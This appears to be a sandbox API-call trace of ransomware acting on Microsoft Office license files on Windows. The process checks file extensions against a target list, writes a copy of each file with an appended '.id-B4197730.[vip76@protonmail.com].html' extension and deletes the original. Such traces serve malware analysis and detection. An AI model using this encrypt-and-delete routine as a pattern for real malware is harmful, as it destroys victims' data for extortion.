	[0201.965] lstrlenW (lpString=".doc") returned 4
	[0201.965] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.965] lstrlenW (lpString=".docx") returned 5
	[0201.965] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.965] lstrlenW (lpString=".pdf") returned 4
	[0201.965] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.965] lstrlenW (lpString=".xls") returned 4
	[0201.965] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.965] lstrlenW (lpString=".xlsx") returned 5
	[0201.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.965] lstrlenW (lpString=".ppt") returned 4
	[0201.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.965] lstrlenW (lpString=".zip") returned 4
	[0201.966] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString=".rar") returned 4
	[0201.966] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString=".bz2") returned 4
	[0201.966] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString=".7z") returned 3
	[0201.966] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.966] lstrlenW (lpString=".dbf") returned 4
	[0201.966] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.966] lstrlenW (lpString=".1cd") returned 4
	[0201.966] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.966] lstrlenW (lpString=".jpg") returned 4
	[0201.966] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.966] lstrlenW (lpString=".doc") returned 4
	[0201.966] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString=".docx") returned 5
	[0201.966] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.966] lstrlenW (lpString=".pdf") returned 4
	[0201.966] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString=".xls") returned 4
	[0201.966] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.966] lstrlenW (lpString=".xlsx") returned 5
	[0201.966] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.967] lstrlenW (lpString=".ppt") returned 4
	[0201.967] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.967] lstrlenW (lpString=".zip") returned 4
	[0201.967] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.967] lstrlenW (lpString=".rar") returned 4
	[0201.967] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.967] lstrlenW (lpString=".bz2") returned 4
	[0201.967] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.967] lstrlenW (lpString=".7z") returned 3
	[0201.967] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.967] lstrlenW (lpString=".dbf") returned 4
	[0201.967] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.967] lstrlenW (lpString=".1cd") returned 4
	[0201.967] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.967] lstrlenW (lpString=".jpg") returned 4
	[0201.967] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.967] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.967] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45
	[0201.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0201.968] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11669) returned 1
	[0201.968] CloseHandle (hObject=0x484) returned 1
	[0201.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0201.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0201.969] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.969] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0201.970] GetLastError () returned 0x0
	[0201.970] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d95, lpOverlapped=0x0) returned 1
	[0202.323] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0202.325] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.325] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0202.325] SetEndOfFile (hFile=0x288) returned 1
	[0202.325] CloseHandle (hObject=0x288) returned 1
	[0202.325] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.325] SetEndOfFile (hFile=0x484) returned 1
	[0202.328] CloseHandle (hObject=0x484) returned 1
	[0202.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0202.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.331] lstrlenW (lpString=".doc") returned 4
	[0202.331] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.331] lstrlenW (lpString=".docx") returned 5
	[0202.331] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.331] lstrlenW (lpString=".pdf") returned 4
	[0202.331] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.331] lstrlenW (lpString=".xls") returned 4
	[0202.331] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.331] lstrlenW (lpString=".xlsx") returned 5
	[0202.331] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.331] lstrlenW (lpString=".ppt") returned 4
	[0202.331] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.331] lstrlenW (lpString=".zip") returned 4
	[0202.331] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.331] lstrlenW (lpString=".rar") returned 4
	[0202.331] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.331] lstrlenW (lpString=".bz2") returned 4
	[0202.331] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.331] lstrlenW (lpString=".7z") returned 3
	[0202.331] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.331] lstrlenW (lpString=".dbf") returned 4
	[0202.331] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.332] lstrlenW (lpString=".1cd") returned 4
	[0202.332] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.332] lstrlenW (lpString=".jpg") returned 4
	[0202.332] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.332] lstrlenW (lpString=".doc") returned 4
	[0202.332] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString=".docx") returned 5
	[0202.332] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.332] lstrlenW (lpString=".pdf") returned 4
	[0202.332] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString=".xls") returned 4
	[0202.332] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString=".xlsx") returned 5
	[0202.332] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.332] lstrlenW (lpString=".ppt") returned 4
	[0202.332] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.332] lstrlenW (lpString=".zip") returned 4
	[0202.332] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString=".rar") returned 4
	[0202.332] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString=".bz2") returned 4
	[0202.332] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.332] lstrlenW (lpString=".7z") returned 3
	[0202.332] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.332] lstrlenW (lpString=".dbf") returned 4
	[0202.332] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.333] lstrlenW (lpString=".1cd") returned 4
	[0202.333] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0202.333] lstrlenW (lpString=".jpg") returned 4
	[0202.333] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.333] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.333] lstrlenW (lpString="O365ProPlusR_Subscription2-pl.xrm-ms") returned 36
	[0202.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0202.334] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11195) returned 1
	[0202.334] CloseHandle (hObject=0x484) returned 1
	[0202.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 0x220
	[0202.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0202.335] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.335] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0202.336] GetLastError () returned 0x0
	[0202.336] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0202.338] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0202.339] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.339] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0202.339] SetEndOfFile (hFile=0x288) returned 1
	[0202.339] CloseHandle (hObject=0x288) returned 1
	[0202.340] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.340] SetEndOfFile (hFile=0x484) returned 1
	[0202.343] CloseHandle (hObject=0x484) returned 1
	[0202.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 1
	[0202.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.344] lstrlenW (lpString=".doc") returned 4
	[0202.344] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.344] lstrlenW (lpString=".docx") returned 5
	[0202.344] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.344] lstrlenW (lpString=".pdf") returned 4
	[0202.344] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.344] lstrlenW (lpString=".xls") returned 4
	[0202.344] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.344] lstrlenW (lpString=".xlsx") returned 5
	[0202.344] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.344] lstrlenW (lpString=".ppt") returned 4
	[0202.344] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.344] lstrlenW (lpString=".zip") returned 4
	[0202.344] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.344] lstrlenW (lpString=".rar") returned 4
	[0202.344] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString=".bz2") returned 4
	[0202.345] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString=".7z") returned 3
	[0202.345] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.345] lstrlenW (lpString=".dbf") returned 4
	[0202.345] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.345] lstrlenW (lpString=".1cd") returned 4
	[0202.345] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.345] lstrlenW (lpString=".jpg") returned 4
	[0202.345] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.345] lstrlenW (lpString=".doc") returned 4
	[0202.345] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString=".docx") returned 5
	[0202.345] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.345] lstrlenW (lpString=".pdf") returned 4
	[0202.345] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString=".xls") returned 4
	[0202.345] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString=".xlsx") returned 5
	[0202.345] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.345] lstrlenW (lpString=".ppt") returned 4
	[0202.345] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.345] lstrlenW (lpString=".zip") returned 4
	[0202.345] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.345] lstrlenW (lpString=".rar") returned 4
	[0202.345] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.346] lstrlenW (lpString=".bz2") returned 4
	[0202.346] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.346] lstrlenW (lpString=".7z") returned 3
	[0202.346] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.346] lstrlenW (lpString=".dbf") returned 4
	[0202.346] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.346] lstrlenW (lpString=".1cd") returned 4
	[0202.346] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0202.346] lstrlenW (lpString=".jpg") returned 4
	[0202.346] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.346] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.346] lstrlenW (lpString="O365ProPlusR_Subscription2-ppd.xrm-ms") returned 37
	[0202.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0202.347] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=28261) returned 1
	[0202.347] CloseHandle (hObject=0x484) returned 1
	[0202.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 0x220
	[0202.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0202.347] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.348] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0202.348] GetLastError () returned 0x0
	[0202.348] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0202.351] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x6e70, lpOverlapped=0x0) returned 1
